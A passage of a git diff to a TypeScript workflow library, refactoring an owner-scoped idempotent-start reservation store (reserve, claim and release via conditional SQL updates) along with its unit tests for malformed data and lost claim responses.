-        throw new Error('D1_ERROR: network');
-      },
-    } as unknown as ExecutionFenceStore;
+  it.each([
+    'missing-value',
+    'inherited-value',
+    'initial-value',
+    'bad-prefix',
+    'bad-owner',
+    'bad-discriminator',
+  ] as const)('refuses malformed producer data %s without mutating the reservation', async (mode) => {
+    const h = harness();
+    const { reservation } = await h.store.reserve(
+      workflowRequest('key', 'run'),
+    );
+    const execution = executionFor(reservation);
+    let value: unknown = { kind: 'result', value: 'done', execution };
+    if (mode === 'missing-value') value = { kind: 'result', execution };
+    if (mode === 'inherited-value')
+      value = Object.assign(Object.create({ value: 'done' }), {
+        kind: 'result',
+        execution,
+      });
+    if (mode === 'initial-value')
+      value = { kind: 'initial', value: 'done', execution };
+    if (mode === 'bad-prefix')
+      value = {
+        kind: 'result',
+        value: 'done',
+        execution: { ...execution, tablePrefix: 'ACME_' },
+      };
+    if (mode === 'bad-owner')
+      value = {
+        kind: 'result',
+        value: 'done',
+        execution: { ...execution, owner: OTHER_OWNER },
+      };
+    if (mode === 'bad-discriminator')
+      value = { kind: 'unknown', value: 'done', execution };
+    const before = rows(h.sqlite);
+    const outcome = await beginIdempotentStart(
+      h.store,
+      workflowRequest('key', 'other'),
+      { persisted: async () => value as never, live: async () => true },
+    ).catch((error) => error);
+    expect(rows(h.sqlite)).toEqual(before);
+    expect(outcome).toBeInstanceOf(StartReservationUnreadableError);
+  });
 
-    // #when / #then the caller still gets the run's persisted state: refusing
-    // the read would answer a successful retry with an error while changing
-    // nothing about the run.
-    const decision = await beginIdempotentStart(
+  it('preserves unrelated callback errors', async () => {
+    const h = harness();
+    await h.store.reserve(workflowRequest('key', 'run'));
+    const failure = new Error('callback transport');
+    await expect(
+      beginIdempotentStart(h.store, workflowRequest('key', 'other'), {
+        persisted: async () => {
+          throw failure;
+        },
+        live: async () => false,
+      }),
+    ).rejects.toBe(failure);
+  });
+
+  it.each([
+    ['created', 'own'],
+    ['created', 'other'],
+    ['existing', 'own'],
+    ['existing', 'other'],
+  ] as const)('cannot manufacture a %s-branch winner after the %s claim response is lost', async (branch, winner) => {
+    const h = harness();
+    if (branch === 'existing')
+      await h.store.reserve(workflowRequest('key', 'run'));
+    const failure = new Error('claim response lost');
+    let claimAttempts = 0;
+    let ownClaimWrites = 0;
+    let otherClaim: StartReservationReading | undefined;
+    const store = new StartIdempotencyStore(
+      interceptReservations(h.binding, async (sql, execute) => {
+        if (
+          sql.startsWith('UPDATE flowsafe_start_idempotency') &&
+          sql.includes("SET state = 'started'")
+        ) {
+          claimAttempts++;
+          if (winner === 'own') {
+            await execute();
+            ownClaimWrites++;
+          } else {
+            const observed = await h.store.readForAdmission('key');
+            if (!observed) throw new Error('contended reservation missing');
+            otherClaim = await h.store.claimReservation(observed);
+            if (!otherClaim) throw new Error('other caller did not win');
+          }
+          throw failure;
+        }
+        return execute();
+      }),
+      { now: () => 1_000 },
+    );
+    const outcome = await beginIdempotentStart(
       store,
-      workflowRequest('key-1', 'run-2'),
-      { persisted: async () => 'summary', live: async () => false },
-      failing,
+      workflowRequest('key', branch === 'created' ? 'run' : 'other'),
+      EMPTY_SURFACE,
+    ).catch((error) => error);
+    expect(rows(h.sqlite)[0]).toMatchObject({
+      state: 'started',
+      start_token: '',
+      run_id: 'run',
+      updated_at: 1_001,
+    });
+    expect(claimAttempts).toBe(1);
+    expect(ownClaimWrites).toBe(winner === 'own' ? 1 : 0);
+    if (winner === 'other')
+      expect(await h.store.readForAdmission('key')).toEqual(otherClaim);
+    expect(outcome).toBeInstanceOf(StartReservationUnreadableError);
+    expect(outcome.cause).toBe(failure);
+  });
+
+  it('replays a matching bound terminal value and keeps an unbound terminal key spent', async () => {
+    const h = harness();
+    const { reservation } = await h.store.reserve(
+      workflowRequest('key', 'run'),
     );
-    expect(decision.kind).toBe('replay');
+    const execution = executionFor(reservation);
+    await h.store.associateReservation(reservation, execution);
+    await h.store.settleExecution(execution);
+    const before = rows(h.sqlite);
+    const surface = {
+      persisted: async () => ({
+        kind: 'result' as const,
+        value: 'done',
+        execution,
+      }),
+      live: async () => false,
+    };
+    await expect(
+      beginIdempotentStart(h.store, workflowRequest('key', 'other'), surface),
+    ).resolves.toMatchObject({ kind: 'replay', persisted: 'done' });
+    expect(rows(h.sqlite)).toEqual(before);
+    h.sqlite.exec(
+      "UPDATE flowsafe_start_idempotency SET start_token = '', start_table_prefix = NULL, start_workflow_id = NULL",
+    );
+    await expect(
+      beginIdempotentStart(h.store, workflowRequest('key', 'other'), surface),
+    ).rejects.toBeInstanceOf(IdempotentStartAlreadySettledError);
   });
 });
diff --git a/packages/flowsafe/src/do-runner/start-idempotency.ts b/packages/flowsafe/src/do-runner/start-idempotency.ts
index e5a52313..226eb0b1 100644
--- a/packages/flowsafe/src/do-runner/start-idempotency.ts
+++ b/packages/flowsafe/src/do-runner/start-idempotency.ts
@@ -1,186 +1,66 @@
 // SPDX-License-Identifier: Apache-2.0
-// Owner-bound idempotent start — the reservation that makes "start this once"
-// mean once, across retries, isolates, and deployments.
-//
-// WHY it exists: a run start is the moment a deployment commits to spending
-// money. The first step of a workflow can wire funds, file an order, or call a
-// paid API, and every layer between a caller and that step is allowed to lose a
-// RESPONSE without losing the WORK — a Worker eviction, a client timeout, a
-// load balancer retry, an operator re-running a script. Without a reservation
-// the only honest answer to "did my start land?" is "retry and find out", and
-// that answer charges the card twice.
-//
-// The reservation is what a key BUYS: a durable row, written before anything
-// executes, that says which run this key already means. A retry carrying the
-// same key does not start a second run — it finds the first one and is told
-// what happened to it.
-//
-// THE TAXONOMY IS THE CONTRACT. Eight structured reason codes say what flowsafe
-// KNOWS, because the caller's next action differs for each and a collapsed code
-// would make them all "retry". Five are reservation-decision refusals:
-//
-//   IDEMPOTENT_START_OWNER_MISMATCH (403) this key is somebody else's. Keys are
-//                                   owner-scoped, so one tenant principal
-//                                   cannot probe, hijack, or collide with
-//                                   another's — and never learns more than
-//                                   "not yours".
-//   IDEMPOTENT_START_TARGET_MISMATCH (409) the key is yours but names a
-//                                   different workflow/agent than last time.
-//                                   Reusing a key across targets is a caller
-//                                   bug, and silently honouring it would make
-//                                   one key mean two different charges.
-//   IDEMPOTENT_START_PENDING (503)   the run this key names is RUNNING right
-//                                   now. Retryable, and legitimately unbounded:
-//                                   the first persisted summary lands at the
-//                                   first suspend or terminal state, so a long
-//                                   live run has no summary yet and is not lost.
-//                                   `pendingSince` lets a caller reason about
-//                                   how long, without this package pretending a
-//                                   timeout would be safe.
-//   IDEMPOTENT_START_UNRESOLVABLE (409) the claim was taken, nothing persisted,
-//                                   and nothing is running. Whether a side
-//                                   effect fired before the crash is UNKNOWABLE
-//                                   to flowsafe. So it refuses, and says so, and
-//                                   never re-executes on its own. A host that
-//                                   investigates and decides to re-run does it
-//                                   with a FRESH key — a deliberate second
-//                                   charge, not one this package invented.
-//   IDEMPOTENT_START_ALREADY_SETTLED (409) the run finished and its summary has
-//                                   aged out. The reservation deliberately
-//                                   OUTLIVES the snapshot so this answer exists
-//                                   at all; the alternative is a purged run
-//                                   looking exactly like a fresh key.
-//
-// Three complete the public keyed-start taxonomy:
-//
-//   IDEMPOTENT_START_UNSUPPORTED (503) a keyed start reached a deployment whose
-//                                   host did not wire a reservation store.
-//   INVALID_START_IDEMPOTENCY_REQUEST (400) the keyed input was malformed.
-//   IDEMPOTENT_START_UNREADABLE (503) the reservation store could not be read
-//                                   or contained a row this build cannot parse.
-//
-// The seven-member `StartReservationRefusal` union recognized by
-// `isStartReservationRefusal` includes everything above except UNREADABLE,
-// which propagates separately as an integrity or availability failure.
-//
-// NO TIMER ANYWHERE. Two of those branches are separated by a LIVENESS PROBE,
-// never by elapsed time. A timer would have to guess a bound on legitimate
-// in-flight work, and every guess is wrong in the expensive direction: too
-// short and a long live run is declared dead, inviting a fresh key and a second
-// charge; too long and a genuinely crashed start wedges its key. The probe asks
-// the run's own host whether it is executing, which is the question a timer was
-// only ever approximating.
-//
-// THE CLAIM IS THE SERIALIZER. `reserve()` decides which runId a key means;
-// `claim()` decides who gets to START it. The claim is one conditional UPDATE,
-// so exactly one caller changes a row and every other caller reads the outcome
-// instead of racing it. That matters most where Durable Object serialization
-// cannot help: agent runs live in thread objects keyed by threadId, so two
-// same-key starts naming different threads are two different objects with no
-// shared lock at all. This CAS is the only thing between them.
-//
-// RUN IDS ARE NEVER MINTED HERE. Run ids are server-minted, at the host's own
-// existing mint sites; the reservation STORES one and hands the same id back to
-// every later caller. A store that generated ids would be a second minting
-// authority, and the whole rule is that there is exactly one.
+// A missing result cannot establish whether a claimed start had effects.
 
 import {
-  EXECUTION_PRINCIPAL_KINDS,
-  type ExecutionPrincipalKind,
   isExecutionPrincipalId,
   isExecutionPrincipalKind,
 } from '../approval-api/principal-identity.js';
 import { missingTableReadsEmpty } from './cause-chain.js';
 import { DoStatusError } from './do-status-error.js';
+import {
+  InvalidExecutionIdentityError,
+  normalizeMutationEpoch,
+  normalizeStartExecutionIdentity,
+  type ProofEntryExpectation,
+  RunAdmissionConflictError,
+  type StartExecutionIdentity,
+} from './execution-admission.js';
 import type { ExecutionFenceWiring } from './execution-fence.js';
-import { isExecutionFenceRefusal } from './execution-fence.js';
 import { isPathSafeId } from './path-safe-id.js';
-
-/**
- * The reservation table — flowsafe-owned, so outside the `mastra_%` schema
- * guard, and created lazily by the first `reserve()` rather than by the
- * provisioning protocol. Unlike the execution fence (whose ABSENCE has to read
- * as a state, so provisioning writes an explicit row), an absent reservation
- * table simply means no key has ever been used on this deployment, which is
- * indistinguishable from an empty one.
- */
-export const START_IDEMPOTENCY_TABLE = 'flowsafe_start_idempotency';
-
-export const START_RESERVATION_STATES = [
-  'reserved',
-  'started',
-  'terminal',
-] as const;
-
-/**
- * Where a reservation is in its life:
- *
- *   reserved  the key means this runId, and nobody has started it yet
- *   started   one caller won the claim and is (or was) executing
- *   terminal  the run reached a terminal state; the key is spent
- *
- * The states only ever move forward, with ONE exception: a start refused by the
- * execution fence rolls `started` back to `reserved` (see `release`), because a
- * fence refusal is the one failure that provably executed nothing.
- */
-export type StartReservationState = (typeof START_RESERVATION_STATES)[number];
-
-export const START_TARGET_KINDS = ['workflow', 'agent'] as const;
-
-/** Which execution family a key names — a workflow run, or an agent run. */
-export type StartTargetKind = (typeof START_TARGET_KINDS)[number];
-
-/**
- * WHO a key belongs to. An execution principal, projected to the same two
- * fields `ResourceOwner` carries, and for the same reason: a key is a
- * capability to converge on somebody's run, so it must be scoped to whoever
- * created it and unforgeable from tenant traffic.
- */
-export interface StartReservationOwner {
-  readonly kind: ExecutionPrincipalKind;
-  readonly id: string;
-}
-
-/** One reservation row, as every surface reads it. */
-export interface StartReservation {
-  readonly key: string;
-  readonly owner: StartReservationOwner;
-  readonly targetKind: StartTargetKind;
-  readonly targetId: string;
-  readonly runId: string;
-  /**
-   * The agent run's thread, when the target is an agent. It is the run's
-   * ADDRESS: a workflow run is reachable from (workflowId, runId) alone, but an
-   * agent run lives in a thread object and a retry that minted a fresh thread
-   * would otherwise have no way back to the original. Absent for workflows,
-   * where storing a derivable address would be a second source of truth.
-   */
-  readonly threadId?: string;
-  readonly state: StartReservationState;
-  /**
-   * Epoch ms of the reserve that created this row. Provenance only: the purge
-   * horizon is measured from `updatedAt`, so that a key's validity runs from
-   * the moment it was SPENT rather than from the moment it was first used —
-   * a long run must not age its own reservation out while it is still running.
-   */
-  readonly createdAt: number;
-  /**
-   * Epoch ms of the last state change — `pendingSince` on a live claim, and the
-   * column the purge horizon is measured from once the row is terminal.
-   */
-  readonly updatedAt: number;
-}
+import {
+  admissionReservationFromRow,
+  captureReservation,
+  decodeStartReservationAdmissionResult,
+  isStartTargetKind,
+  ReservationSchemaError,
+  reservationFromRow,
+  reservationResultRows,
+  reservationSchemaStage,
+  START_IDEMPOTENCY_ADDITIONS,
+  START_IDEMPOTENCY_COLUMNS,
+  START_IDEMPOTENCY_DDL,
+  START_IDEMPOTENCY_RUN_INDEX_DDL,
+  START_IDEMPOTENCY_STATE_INDEX_DDL,
+  START_IDEMPOTENCY_TABLE,
+  START_TARGET_KINDS,
+  type StartReservation,
+  type StartReservationOwner,
+  type StartReservationReading,
+  type StartReservationSchemaStage,
+  type StartReservationState,
+  type StartTargetKind,
+  sameReservationIdentity,
+  validateStartReservationAdmissionSchema,
+} from './start-reservation-contract.js';
+
+export {
+  decodeStartReservationAdmissionResult,
+  START_IDEMPOTENCY_DDL,
+  START_IDEMPOTENCY_RUN_INDEX_DDL,
+  START_IDEMPOTENCY_STATE_INDEX_DDL,
+  START_IDEMPOTENCY_TABLE,
+  START_RESERVATION_STATES,
+  START_TARGET_KINDS,
+  type StartReservation,
+  type StartReservationBinding,
+  type StartReservationOwner,
+  type StartReservationReading,
+  type StartReservationState,
+  type StartTargetKind,
+  validateStartReservationAdmissionSchema,
+} from './start-reservation-contract.js';
 
 export interface StartReservationRequest {
-  /**
-   * `unknown` rather than `string`, the same posture (and for the same reason)
-   * as `ExecutionFenceTransition.proofKey`: every caller is a route holding a
-   * parsed JSON body, `assertKey` already validates this against
-   * PATH_SAFE_ID_PATTERN and throws on anything else, and typing it `string`
-   * only made callers write `body.idempotencyKey as string` — an assertion that
-   * is false exactly when the caller sent the wrong thing, so the one input
-   * this field exists to police would arrive pre-blessed at the type level.
-   */
   key: unknown;
   owner: StartReservationOwner;
   targetKind: StartTargetKind;
@@ -201,9 +81,56 @@ export interface StartReservationRequest {
   threadId?: string;
 }
 
+function captureStartRequest(
+  request: StartReservationRequest,
+): StartReservationRequest & { key: string } {
+  const key = assertKey(request.key);
+  const owner = assertOwner(request.owner);
+  const { targetKind, targetId, threadId, mintRunId } = request;
+  if (!isStartTargetKind(targetKind)) {
+    throw new InvalidStartIdempotencyRequestError(
+      `target kind must be one of ${START_TARGET_KINDS.join(', ')}`,
+    );
+  }
+  if (!isPathSafeId(targetId)) {
+    throw new InvalidStartIdempotencyRequestError(
+      'target id must be a URL-path-safe identifier',
+    );
+  }
+  // The thread is the agent run's ADDRESS, so requiring it for agents and
+  // rejecting it for workflows is not tidiness: an agent reservation without
+  // one is a run a retry can never reach, and a workflow reservation WITH one
+  // is a second, silently divergent copy of an address that is already
+  // derivable from (workflowId, runId).
+  if (targetKind === 'agent') {
+    if (!isPathSafeId(threadId)) {
+      throw new InvalidStartIdempotencyRequestError(
+        'an agent start reservation requires a URL-path-safe threadId',
+      );
+    }
+  } else if (threadId !== undefined) {
+    throw new InvalidStartIdempotencyRequestError(
+      'threadId applies only to agent start reservations',
+    );
+  }
+  if (typeof mintRunId !== 'function') {
+    throw new InvalidStartIdempotencyRequestError(
+      'mintRunId must be a function',
+    );
+  }
+  return Object.freeze({
+    key,
+    owner,
+    targetKind,
+    targetId,
+    threadId,
+    mintRunId: () => Reflect.apply(mintRunId, request, []),
+  });
+}
+
 export interface StartReservationOutcome {
   /** The authoritative reservation — this caller's, or the winner's. */
-  reservation: StartReservation;
+  reservation: StartReservationReading;
   /**
    * Whether THIS call created the row. Only a creator may go straight to the
    * claim; everyone else takes the replay path, which is where the "what
@@ -261,18 +188,11 @@ export class StartReservationTargetMismatchError extends DoStatusError {
   }
 }
 
-/**
- * The key's run is executing right now. 503 for the same reason every
- * operator-transient refusal in this package is: the condition is real, it is
- * nobody's mistake, and it clears on its own — so a client that honours
- * retry semantics converges instead of giving up.
- */
 export class IdempotentStartPendingError extends DoStatusError {
   readonly status = 503;
   readonly reason: {
     readonly code: 'IDEMPOTENT_START_PENDING';
     readonly runId: string;
-    /** Epoch ms of the claim, so a caller can reason about how long. */
     readonly pendingSince: number;
   };
 
@@ -449,9 +369,8 @@ export type StartIdempotencyWiring = StartIdempotencyStore | 'none';
  * the D1 storage adapter (and @mastra/cloudflare-d1 with it) into its bundle.
  *
  * That bundle rule is why the imports at the top of this file are what they
- * are. Four are import-free leaves (principal-identity, cause-chain,
- * do-status-error, path-safe-id) and the fifth, execution-fence, imports only
- * leaves and the shared provisioning protocol. Nothing on that graph can cycle
+ * are: lightweight identity/error leaves and the execution-fence store, whose
+ * dependencies never reach the adapter. Nothing on that graph can cycle
  * back here, which matters more than usual: the eight DoStatusError subclasses
  * in this module are evaluated at module load, so an import edge that came
  * back around would meet a class expression still in its temporal dead zone.
@@ -481,150 +400,6 @@ export function startIdempotencyFor(
   return store;
 }
 
-const STATE_CHECK = START_RESERVATION_STATES.map((state) => `'${state}'`).join(
-  ', ',
-);
-const TARGET_CHECK = START_TARGET_KINDS.map((kind) => `'${kind}'`).join(', ');
-/**
- * Built from the principal vocabulary rather than hand-written, so a kind added
- * to `EXECUTION_PRINCIPAL_KINDS` cannot leave this constraint behind. The
- * failure a stale literal would cause is not a compile error and not a rejected
- * write on an existing deployment: `CREATE TABLE IF NOT EXISTS` is a no-op
- * against a table that already exists, so the drift would show up only as an
- * INSERT refused on whichever database happened to be created after the new
- * kind shipped.
- */
-const OWNER_KIND_CHECK = EXECUTION_PRINCIPAL_KINDS.map(
-  (kind) => `'${kind}'`,
-).join(', ');
-
-/**
- * The reservation schema.
- *
- * The CHECK constraints are load-bearing, not decoration: every compare-and-set
- * below is stated as `WHERE ... AND state = '<literal>'`, which is only a TOTAL
- * decision while the column cannot hold a fourth value. A row hand-edited into
- * an unknown state would otherwise be a reservation no CAS can advance and no
- * purge can reap — a permanently wedged key.
- */
-export const START_IDEMPOTENCY_DDL = `CREATE TABLE IF NOT EXISTS ${START_IDEMPOTENCY_TABLE} (
-    key TEXT PRIMARY KEY,
-    owner_kind TEXT NOT NULL CHECK (owner_kind IN (${OWNER_KIND_CHECK})),
-    owner_id TEXT NOT NULL,
-    target_kind TEXT NOT NULL CHECK (target_kind IN (${TARGET_CHECK})),
-    target_id TEXT NOT NULL,
-    run_id TEXT NOT NULL,
-    thread_id TEXT,
-    state TEXT NOT NULL CHECK (state IN (${STATE_CHECK})),
-    created_at INTEGER NOT NULL,
-    updated_at INTEGER NOT NULL
-  )`;
-
-/**
- * `run_id` is how the RUNTIME finds a reservation (terminal reconcile knows the
- * run, never the key) and how the purge pairs a reservation with the snapshot
- * it outlived. Without the index both degrade to a table scan on every terminal
- * run.
- */
-export const START_IDEMPOTENCY_RUN_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_run
-    ON ${START_IDEMPOTENCY_TABLE} (run_id)`;
-
-/** The purge's own access path: terminal rows past the key-validity horizon. */
-export const START_IDEMPOTENCY_STATE_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_state
-    ON ${START_IDEMPOTENCY_TABLE} (state, updated_at)`;
-
-interface StartReservationRow {
-  key?: unknown;
-  owner_kind?: unknown;
-  owner_id?: unknown;
-  target_kind?: unknown;
-  target_id?: unknown;
-  run_id?: unknown;
-  thread_id?: unknown;
-  state?: unknown;
-  created_at?: unknown;
-  updated_at?: unknown;
-}
-
-function isStartReservationState(
-  value: unknown,
-): value is StartReservationState {
-  return (
-    typeof value === 'string' &&
-    (START_RESERVATION_STATES as readonly string[]).includes(value)
-  );
-}
-
-function isStartTargetKind(value: unknown): value is StartTargetKind {
-  return (
-    typeof value === 'string' &&
-    (START_TARGET_KINDS as readonly string[]).includes(value)
-  );
-}
-
-function isEpochMs(value: unknown): value is number {
-  return typeof value === 'number' && Number.isFinite(value);
-}
-
-/**
- * Project a stored row, or refuse it.
- *
- * A malformed row throws rather than reading as absent, and that direction is
- * deliberate: "there is no reservation" is the answer that STARTS A RUN, so it
- * must never be reachable from a row this build cannot parse. The CHECK
- * constraints make this unreachable on a database this package created; it
- * exists for the one that was hand-edited.
- *
- * The TIMESTAMPS are in that strict set too, rather than coerced to 0 as an
- * unparseable number once was. Neither column is decoration: `updated_at` is
- * the horizon the purge measures from, so a corrupt one on a terminal row reads
- * as epoch 0 and makes the reservation immediately reapable — which deletes a
- * spent key early and turns the next retry of it into a fresh start. It is also
- * `pendingSince` on a live claim, where 0 tells an operator a run has been
- * starting since 1970. Refusing the row keeps both faults visible as the 503
- * they are.
- */
-function reservationFromRow(row: StartReservationRow): StartReservation {
-  const {
-    key,
-    owner_kind: ownerKind,
-    owner_id: ownerId,
-    target_kind: targetKind,
-    target_id: targetId,
-    run_id: runId,
-    thread_id: threadId,
-    state,
-    created_at: createdAt,
-    updated_at: updatedAt,
-  } = row;
-  if (
-    typeof key !== 'string' ||
-    !isExecutionPrincipalKind(ownerKind) ||
-    !isExecutionPrincipalId(ownerId) ||
-    !isStartTargetKind(targetKind) ||
-    typeof targetId !== 'string' ||
-    !isPathSafeId(runId) ||
-    !isStartReservationState(state) ||
-    !isEpochMs(createdAt) ||
-    !isEpochMs(updatedAt)
-  ) {
-    throw new StartReservationUnreadableError(
-      typeof key === 'string' ? key : '(unknown)',
-    );
-  }
-  return {
-    key,
-    owner: { kind: ownerKind, id: ownerId },
-    targetKind,
-    targetId,
-    runId,
-    ...(isPathSafeId(threadId) ? { threadId } : {}),
-    state,
-    createdAt,
-    updatedAt,
-  };
-}
-
 /**
  * A reservation exists but cannot be understood, or the table could not be
  * read. 503 and never "no reservation": the absent answer is the one that
@@ -685,6 +460,75 @@ function assertOwner(owner: unknown): StartReservationOwner {
   return { kind, id };
 }
 
+function assertReservationStartIdentity(
+  reservation: StartReservationReading,
+  execution: StartExecutionIdentity,
+): void {
+  if (
+    reservation.owner.kind !== execution.owner.kind ||
+    reservation.owner.id !== execution.owner.id
+  )
+    throw new StartReservationOwnerMismatchError(reservation.key);
+  if (
+    reservation.targetKind !== execution.target.kind ||
+    reservation.targetId !== execution.target.id
+  )
+    throw new StartReservationTargetMismatchError(reservation.key, reservation);
+  if (
+    reservation.runId !== execution.runId ||
+    reservation.threadId !==
+      (execution.target.kind === 'agent'
+        ? execution.target.threadId
+        : undefined) ||
+    (execution.target.kind === 'workflow' &&
+      execution.workflowId !== execution.target.id)
+  )
+    throw new InvalidExecutionIdentityError('admission');
+}
+
+function sameReservationExecution(
+  reservation: StartReservationReading,
+  execution: StartExecutionIdentity,
+): boolean {
+  return (
+    reservation.runId === execution.runId &&
+    reservation.owner.kind === execution.owner.kind &&
+    reservation.owner.id === execution.owner.id &&
+    reservation.targetKind === execution.target.kind &&
+    reservation.targetId === execution.target.id &&
+    reservation.threadId ===
+      (execution.target.kind === 'agent'
+        ? execution.target.threadId
+        : undefined) &&
+    reservation.binding.kind === 'bound' &&
+    reservation.binding.execution.runId === execution.runId &&
+    reservation.binding.execution.startToken === execution.startToken &&
+    reservation.binding.execution.tablePrefix === execution.tablePrefix &&
+    reservation.binding.execution.workflowId === execution.workflowId
+  );
+}
+
+function reservationMutationResult(
+  result: unknown,
+  observed: StartReservationReading,
+  state: StartReservationState,
+  updatedAt: number,
+  execution?: StartExecutionIdentity,
+): StartReservationReading | undefined {
+  const row = decodeStartReservationAdmissionResult(result);
+  if (
+    row !== undefined &&
+    (!sameReservationIdentity(row, observed) ||
+      row.state !== state ||
+      row.updatedAt !== updatedAt ||
+      (execution === undefined
+        ? row.binding.kind !== 'unbound'
+        : !sameReservationExecution(row, execution)))
+  )
+    throw new Error('reservation mutation returned an unexpected row');
+  return row;
+}
+
 export interface StartIdempotencyStoreOptions {
   /** Injectable clock for `created_at`/`updated_at` (tests, fixtures). */
   now?: () => number;
@@ -708,8 +552,15 @@ export class StartIdempotencyStore {
   ) {
     this.#db = db;
     this.#now = options.now ?? Date.now;
-    if (options.ready) {
-      this.#ready = options.ready;
+    const ready = options.ready;
+    if (ready) {
+      this.#ready = async () => {
+        await Reflect.apply(ready, this, []);
+        if ((await this.#schemaStage()) !== 3)
+          throw new ReservationSchemaError(
+            'host readiness did not reach the current schema',
+          );
+      };
     } else {
       let ready: Promise<void> | undefined;
       this.#ready = () => {
@@ -740,36 +591,14 @@ export class StartIdempotencyStore {
   async reserve(
     request: StartReservationRequest,
   ): Promise<StartReservationOutcome> {
-    const key = assertKey(request.key);
-    const owner = assertOwner(request.owner);
-    if (!isStartTargetKind(request.targetKind)) {
-      throw new InvalidStartIdempotencyRequestError(
-        `target kind must be one of ${START_TARGET_KINDS.join(', ')}`,
-      );
-    }
-    if (!isPathSafeId(request.targetId)) {
-      throw new InvalidStartIdempotencyRequestError(
-        'target id must be a URL-path-safe identifier',
-      );
-    }
-    // The thread is the agent run's ADDRESS, so requiring it for agents and
-    // rejecting it for workflows is not tidiness: an agent reservation without
-    // one is a run a retry can never reach, and a workflow reservation WITH one
-    // is a second, silently divergent copy of an address that is already
-    // derivable from (workflowId, runId).
-    if (request.targetKind === 'agent') {
-      if (!isPathSafeId(request.threadId)) {
-        throw new InvalidStartIdempotencyRequestError(
-          'an agent start reservation requires a URL-path-safe threadId',
-        );
-      }
-    } else if (request.threadId !== undefined) {
-      throw new InvalidStartIdempotencyRequestError(
-        'threadId applies only to agent start reservations',
-      );
+    const { key, owner, targetKind, targetId, threadId, mintRunId } =
+      captureStartRequest(request);
+    try {
+      await this.#ready();
+    } catch (error) {
+      throw new StartReservationUnreadableError(key, { cause: error });
     }
-    await this.#ready();
-    const candidateRunId = request.mintRunId();
+    const candidateRunId = Reflect.apply(mintRunId, request, []);
     if (!isPathSafeId(candidateRunId)) {
       throw new InvalidStartIdempotencyRequestError(
         'the host minted a runId that is not URL-path-safe',
@@ -781,17 +610,17 @@ export class StartIdempotencyStore {
         .prepare(
           `INSERT OR IGNORE INTO ${START_IDEMPOTENCY_TABLE}
              (key, owner_kind, owner_id, target_kind, target_id, run_id,
-              thread_id, state, created_at, updated_at)
-           VALUES (?, ?, ?, ?, ?, ?, ?, 'reserved', ?, ?)`,
+              thread_id, state, created_at, updated_at, start_token, start_table_prefix, start_workflow_id)
+           VALUES (?, ?, ?, ?, ?, ?, ?, 'reserved', ?, ?, '', NULL, NULL)`,
         )
         .bind(
           key,
           owner.kind,
           owner.id,
-          request.targetKind,
-          request.targetId,
+          targetKind,
+          targetId,
           candidateRunId,
-          request.threadId ?? null,
+          threadId ?? null,
           now,
           now,
         )
@@ -809,10 +638,7 @@ export class StartIdempotencyStore {
     if (stored.owner.kind !== owner.kind || stored.owner.id !== owner.id) {
       throw new StartReservationOwnerMismatchError(key);
     }
-    if (
-      stored.targetKind !== request.targetKind ||
-      stored.targetId !== request.targetId
-    ) {
+    if (stored.targetKind !== targetKind || stored.targetId !== targetId) {
       throw new StartReservationTargetMismatchError(key, stored);
     }
     // Both signals must agree before this caller believes it created the row.
@@ -826,72 +652,346 @@ export class StartIdempotencyStore {
     };
   }
 
-  /**
-   * Take the claim: `reserved` -> `started`, for this exact run.
-   *
-   * ONE conditional UPDATE, and the whole cross-isolate serialization of the
-   * feature. Exactly one caller changes a row; every other caller sees zero
-   * changes and must go and find out what the winner did rather than starting
-   * anything. The `run_id` predicate rides along so a claim can never land on a
-   * row that was rewritten underneath it.
-   *
-   * Never creates the table: a claim can only ever follow a reserve, which did.
-   */
-  async claim(key: string, runId: string): Promise<boolean> {
-    return this.#casState(key, runId, 'reserved', 'started');
+  /** Claim only this observed modern-unbound reservation. */
+  async claimReservation(
+    observed: StartReservationReading,
+  ): Promise<StartReservationReading | undefined> {
+    const reservation = captureReservation(observed, 'reserved');
+    const next = this.#nextReservationStamp(reservation);
+    await this.#requireReservationSchema(reservation.key);
+    let result: unknown;
+    try {
+      result = await this.#db
+        .prepare(
+          `UPDATE ${START_IDEMPOTENCY_TABLE} SET state = 'started', updated_at = ?
+         WHERE key = ? AND run_id = ?
+           AND owner_kind = ? AND owner_id = ?
+           AND target_kind = ? AND target_id = ? AND thread_id IS ?
+           AND created_at = ? AND updated_at = ? AND state = ?
+           AND state = 'reserved'
+           AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL
+         RETURNING *`,
+        )
+        .bind(
+          next,
+          reservation.key,
+          reservation.runId,
+          reservation.owner.kind,
+          reservation.owner.id,
+          reservation.targetKind,
+          reservation.targetId,
+          reservation.threadId ?? null,
+          reservation.createdAt,
+          reservation.updatedAt,
+          reservation.state,
+        )
+        .all();
+    } catch (error) {
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: error,
+      });
+    }
+    try {
+      return reservationMutationResult(result, reservation, 'started', next);
+    } catch (error) {
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: error,
+      });
+    }
   }
 
-  /**
-   * Give the claim back: `started` -> `reserved`, for this exact run.
-   *
-   * The ONLY backwards transition, and it exists for exactly one caller: a
-   * start the EXECUTION FENCE refused. That refusal is special because it is
-   * provably pre-execution — the fence is read before the run lock and before
-   * any storage write — so the claim it consumed bought nothing and holding on
-   * to it would manufacture an UNRESOLVABLE reservation out of an operator
-   * action. Leaving the claim taken would mean a deployment that drained,
-   * migrated, and reopened had permanently poisoned every key that happened to
-   * be in flight.
-   *
-   * It is deliberately NOT used for other start failures. Anything that reached
-   * the runtime's execution path may have taken effect, and a rollback there
-   * would hand the next retry a fresh run — the exact double-charge this whole
-   * module exists to prevent.
-   */
-  async release(key: string, runId: string): Promise<boolean> {
-    return this.#casState(key, runId, 'started', 'reserved');
+  /** Release only the exact unbound claim, without readback recovery. */
+  async releaseReservation(
+    observed: StartReservationReading,
+  ): Promise<boolean> {
+    const reservation = captureReservation(observed, 'started');
+    const next = this.#nextReservationStamp(reservation);
+    await this.#requireReservationSchema(reservation.key);
+    let result: unknown;
+    try {
+      result = await this.#db
+        .prepare(
+          `UPDATE ${START_IDEMPOTENCY_TABLE} SET state = 'reserved', updated_at = ?
+         WHERE key = ? AND run_id = ?
+           AND owner_kind = ? AND owner_id = ?
+           AND target_kind = ? AND target_id = ? AND thread_id IS ?
+           AND created_at = ? AND updated_at = ? AND state = ?
+           AND state = 'started'
+           AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL
+         RETURNING *`,
+        )
